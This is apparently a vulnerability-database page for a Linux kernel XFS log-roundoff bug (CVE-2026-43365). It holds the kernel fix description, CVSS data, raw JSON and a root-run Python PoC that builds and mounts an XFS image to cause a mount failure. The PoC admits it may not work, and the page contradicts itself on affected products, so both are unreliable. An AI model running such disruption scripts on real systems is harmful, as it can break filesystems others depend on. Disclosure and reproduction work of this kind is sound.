Security Vulnerability Report
中文
CVE-2026-43365 CVSS 8.2 HIGH

CVE-2026-43365

Published: 2026-05-08 15:16:47
Last Modified: 2026-05-11 08:16:11
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xfs: fix undersized l_iclog_roundoff values If the superblock doesn't list a log stripe unit, we set the incore log roundoff value to 512. This leads to corrupt logs and unmountable filesystems in generic/617 on a disk with 4k physical sectors... XFS (sda1): Mounting V5 Filesystem ff3121ca-26e6-4b77-b742-aaff9a449e1c XFS (sda1): Torn write (CRC failure) detected at log block 0x318e. Truncating head block from 0x3197. XFS (sda1): failed to locate log tail XFS (sda1): log mount/recovery failed: error -74 XFS (sda1): log mount failed XFS (sda1): Mounting V5 Filesystem ff3121ca-26e6-4b77-b742-aaff9a449e1c XFS (sda1): Ending clean mount ...on the current xfsprogs for-next which has a broken mkfs. xfs_info shows this... meta-data=/dev/sda1 isize=512 agcount=4, agsize=644992 blks = sectsz=4096 attr=2, projid32bit=1 = crc=1 finobt=1, sparse=1, rmapbt=1 = reflink=1 bigtime=1 inobtcount=1 nrext64=1 = exchange=1 metadir=1 data = bsize=4096 blocks=2579968, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0, ftype=1, parent=1 log =internal log bsize=4096 blocks=16384, version=2 = sectsz=4096 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 = rgcount=0 rgsize=268435456 extents = zoned=0 start=0 reserved=0 ...observe that the log section has sectsz=4096 sunit=0, which means that the roundoff factor is 512, not 4096 as you'd expect. We should fix mkfs not to generate broken filesystems, but anyone can fuzz the ondisk superblock so we should be more cautious. I think the inadequate logic predates commit a6a65fef5ef8d0, but that's clearly going to require a different backport.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel < 6.8 (specific commit fix required)
Linux Kernel 6.6 stable series (prior to fix)
Linux Kernel 6.1 stable series (prior to fix)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-43365 # This script demonstrates the logic to trigger the vulnerability. # It requires a vulnerable kernel version and a disk with 4k physical sectors. # Note: Actual exploitation requires creating a specific XFS image. import os import subprocess def create_vulnerable_image(image_path): """ Creates an XFS filesystem image with sunit=0 on a 4k sector device context. This mimics the broken mkfs behavior described in the CVE. """ print(f"[*] Creating vulnerable image at {image_path}...") # Create a dummy file dd_cmd = f"dd if=/dev/zero of={image_path} bs=1M count=100" subprocess.run(dd_cmd, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # Format with XFS, explicitly setting sunit=0 and sectsz=4096 to trigger the bug # Note: On a fixed mkfs, this might not produce the vulnerable state, # but on a broken mkfs (as per CVE description), it creates the mismatch. mkfs_cmd = f"mkfs.xfs -f -d sectsz=4096 -l sunit=0,size=16m {image_path}" try: subprocess.run(mkfs_cmd, shell=True, check=True) print("[+] Image created successfully.") return True except subprocess.CalledProcessError: print("[-] Failed to create image. mkfs.xfs might be fixed or not installed.") return False def mount_and_trigger(image_path, mount_point): """ Mounts the image. On a vulnerable kernel, this should cause CRC errors and prevent the filesystem from mounting properly or crash the mount process. """ if not os.path.exists(mount_point): os.makedirs(mount_point) print(f"[*] Attempting to mount {image_path} to {mount_point}...") try: subprocess.run(f"mount -o loop {image_path} {mount_point}", shell=True, check=True, timeout=10) print("[!] Mount succeeded. System might be patched or conditions not met.") except subprocess.CalledProcessError: print("[+] Mount failed as expected (potential DoS triggered).") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": IMAGE_FILE = "/tmp/cve_2026_43365_test.img" MOUNT_DIR = "/tmp/cve_test_mount" if os.geteuid() != 0: print("[!] This script must be run as root.") exit(1) if create_vulnerable_image(IMAGE_FILE): mount_and_trigger(IMAGE_FILE, MOUNT_DIR)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43365", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:47.490", "lastModified": "2026-05-11T08:16:11.273", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix undersized l_iclog_roundoff values\n\nIf the superblock doesn't list a log stripe unit, we set the incore log\nroundoff value to 512. This leads to corrupt logs and unmountable\nfilesystems in generic/617 on a disk with 4k physical sectors...\n\nXFS (sda1): Mounting V5 Filesystem ff3121ca-26e6-4b77-b742-aaff9a449e1c\nXFS (sda1): Torn write (CRC failure) detected at log block 0x318e. Truncating head block from 0x3197.\nXFS (sda1): failed to locate log tail\nXFS (sda1): log mount/recovery failed: error -74\nXFS (sda1): log mount failed\nXFS (sda1): Mounting V5 Filesystem ff3121ca-26e6-4b77-b742-aaff9a449e1c\nXFS (sda1): Ending clean mount\n\n...on the current xfsprogs for-next which has a broken mkfs. xfs_info\nshows this...\n\nmeta-data=/dev/sda1 isize=512 agcount=4, agsize=644992 blks\n = sectsz=4096 attr=2, projid32bit=1\n = crc=1 finobt=1, sparse=1, rmapbt=1\n = reflink=1 bigtime=1 inobtcount=1 nrext64=1\n = exchange=1 metadir=1\ndata = bsize=4096 blocks=2579968, imaxpct=25\n = sunit=0 swidth=0 blks\nnaming =version 2 bsize=4096 ascii-ci=0, ftype=1, parent=1\nlog =internal log bsize=4096 blocks=16384, version=2\n = sectsz=4096 sunit=0 blks, lazy-count=1\nrealtime =none extsz=4096 blocks=0, rtextents=0\n = rgcount=0 rgsize=268435456 extents\n = zoned=0 start=0 reserved=0\n\n...observe that the log section has sectsz=4096 sunit=0, which means\nthat the roundoff factor is 512, not 4096 as you'd expect. We should\nfix mkfs not to generate broken filesystems, but anyone can fuzz the\nondisk superblock so we should be more cautious. I think the inadequate\nlogic predates commit a6a65fef5ef8d0, but that's clearly going to\nrequire a different backport."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "references": [{"url": "https://git.kernel.org/stable/c/2ecda4b83749c1fef0c9dea4fd5e8b513aba3e40", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/41e91dff2d3974730b5ee50daa8e27ec254cbf91", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/446a1f5bb64ba38adb93cb043ff0f7b85e8937ca", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/52a8a1ba883defbfe3200baa22cf4cd21985d51a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5afae524f83d6a18517298491a5624cb0eae5029", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5e7148402dfc4a5b7894d8e97b15e5c2e70924aa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/e88ce9f0536f3b2149afb70625cfc4bd74a4ac6d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}